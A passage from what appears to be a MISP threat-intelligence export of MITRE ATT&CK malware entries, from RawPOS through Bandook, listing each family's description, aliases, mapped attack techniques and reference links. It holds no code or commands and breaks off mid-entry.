FIENDCRY
DUEBREW
DRIFTWOOD

RawPOS - S0169 has relationships with:

similar: misp-galaxy:malpedia="RawPOS" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"

Table 3306. Table References
Links
https://attack.mitre.org/software/S0169
http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=_{%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105[http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=}%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105]
http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf
https://www.youtube.com/watch?v=fevGZs0EQu8
https://github.com/DiabloHorn/mempdump
https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?

Daserf - S0187

[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)

The tag is: misp-galaxy:mitre-malware="Daserf - S0187"

Daserf - S0187 is also known as:

Daserf
Muirim
Nioupale

Daserf - S0187 has relationships with:

similar: misp-galaxy:malpedia="Daserf" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Table 3307. Table References
Links
https://attack.mitre.org/software/S0187
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Truvasys - S0178

[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)

The tag is: misp-galaxy:mitre-malware="Truvasys - S0178"

Truvasys - S0178 is also known as:

Truvasys

Truvasys - S0178 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3308. Table References
Links
https://attack.mitre.org/software/S0178
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf

PUNCHTRACK - S0197

[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: misp-galaxy:mitre-malware="PUNCHTRACK - S0197"

PUNCHTRACK - S0197 is also known as:

PUNCHTRACK
PSVC

PUNCHTRACK - S0197 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3309. Table References
Links
https://attack.mitre.org/software/S0197
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

Starloader - S0188

[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)

The tag is: misp-galaxy:mitre-malware="Starloader - S0188"

Starloader - S0188 is also known as:

Starloader

Starloader - S0188 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3310. Table References
Links
https://attack.mitre.org/software/S0188
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

NETWIRE - S0198

[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: misp-galaxy:mitre-malware="NETWIRE - S0198"

NETWIRE - S0198 is also known as:

NETWIRE

NETWIRE - S0198 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 3311. Table References
Links
https://attack.mitre.org/software/S0198
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/
https://www.brighttalk.com/webcast/10703/275683

ISMInjector - S0189

[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)

The tag is: misp-galaxy:mitre-malware="ISMInjector - S0189"

ISMInjector - S0189 is also known as:

ISMInjector

ISMInjector - S0189 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 3312. Table References
Links
https://attack.mitre.org/software/S0189
https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

TURNEDUP - S0199

[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: misp-galaxy:mitre-malware="TURNEDUP - S0199"

TURNEDUP - S0199 is also known as:

TURNEDUP

TURNEDUP - S0199 has relationships with:

similar: misp-galaxy:malpedia="TURNEDUP" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3313. Table References
Links
https://attack.mitre.org/software/S0199
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.brighttalk.com/webcast/10703/275683

CCBkdr - S0222

[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner’s distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)

The tag is: misp-galaxy:mitre-malware="CCBkdr - S0222"

CCBkdr - S0222 is also known as:

CCBkdr

CCBkdr - S0222 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"

Table 3314. Table References
Links
https://attack.mitre.org/software/S0222
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/

POWERSTATS - S0223

[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)

The tag is: misp-galaxy:mitre-malware="POWERSTATS - S0223"

POWERSTATS - S0223 is also known as:

POWERSTATS
Powermud

POWERSTATS - S0223 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 3315. Table References
Links
https://attack.mitre.org/software/S0223
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group

HummingBad - S0322

[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)

The tag is: misp-galaxy:mitre-malware="HummingBad - S0322"

HummingBad - S0322 is also known as:

HummingBad

HummingBad - S0322 has relationships with:

similar: misp-galaxy:android="HummingBad" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452" with estimative-language:likelihood-probability="almost-certain"

Table 3316. Table References
Links
https://attack.mitre.org/software/S0322
http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/

HOMEFRY - S0232

[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)

The tag is: misp-galaxy:mitre-malware="HOMEFRY - S0232"

HOMEFRY - S0232 is also known as:

HOMEFRY

HOMEFRY - S0232 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3317. Table References
Links
https://attack.mitre.org/software/S0232
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

SynAck - S0242

[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)

The tag is: misp-galaxy:mitre-malware="SynAck - S0242"

SynAck - S0242 is also known as:

SynAck

SynAck - S0242 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 3318. Table References
Links
https://attack.mitre.org/software/S0242
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/
https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging

NDiskMonitor - S0272

[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)

The tag is: misp-galaxy:mitre-malware="NDiskMonitor - S0272"

NDiskMonitor - S0272 is also known as:

NDiskMonitor

NDiskMonitor - S0272 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 3319. Table References
Links
https://attack.mitre.org/software/S0272
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

NanHaiShu - S0228

[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)

The tag is: misp-galaxy:mitre-malware="NanHaiShu - S0228"

NanHaiShu - S0228 is also known as:

NanHaiShu

NanHaiShu - S0228 has relationships with:

similar: misp-galaxy:tool="NanHaiShu" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3320. Table References
Links
https://attack.mitre.org/software/S0228
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf

MacSpy - S0282

[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).

The tag is: misp-galaxy:mitre-malware="MacSpy - S0282"

MacSpy - S0282 is also known as:

MacSpy

MacSpy - S0282 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"

Table 3321. Table References
Links
https://attack.mitre.org/software/S0282
https://objective-see.com/blog/blog_0x25.html

AndroRAT - S0292

[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)

The tag is: misp-galaxy:mitre-malware="AndroRAT - S0292"

AndroRAT - S0292 is also known as:

AndroRAT

AndroRAT - S0292 has relationships with:

similar: misp-galaxy:malpedia="AndroRAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"

Table 3322. Table References
Links
https://attack.mitre.org/software/S0292
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/

Orz - S0229

[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

The tag is: misp-galaxy:mitre-malware="Orz - S0229"

Orz - S0229 is also known as:

Orz
AIRBREAK

Orz - S0229 has relationships with:

similar: misp-galaxy:malpedia="AIRBREAK" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 3323. Table References
Links
https://attack.mitre.org/software/S0229
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Charger - S0323

[Charger](https://attack.mitre.org/software/S0323) is Android malware that steals steals contacts and SMS messages from the user’s device. It can also lock the device and demand ransom payment if it receives admin permissions. (Citation: CheckPoint-Charger)

The tag is: misp-galaxy:mitre-malware="Charger - S0323"

Charger - S0323 is also known as:

Charger

Charger - S0323 has relationships with:

similar: misp-galaxy:malpedia="Charger" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"

Table 3324. Table References
Links
https://attack.mitre.org/software/S0323
http://blog.checkpoint.com/2017/01/24/charger-malware/

MURKYTOP - S0233

[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)

The tag is: misp-galaxy:mitre-malware="MURKYTOP - S0233"

MURKYTOP - S0233 is also known as:

MURKYTOP

MURKYTOP - S0233 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"

Table 3325. Table References
Links
https://attack.mitre.org/software/S0233
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Bandook - S0234

[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).

The tag is: misp-galaxy:mitre-malware="Bandook - S0234"

Bandook - S0234 is also known as:

Bandook

Bandook - S0234 has relationships with:

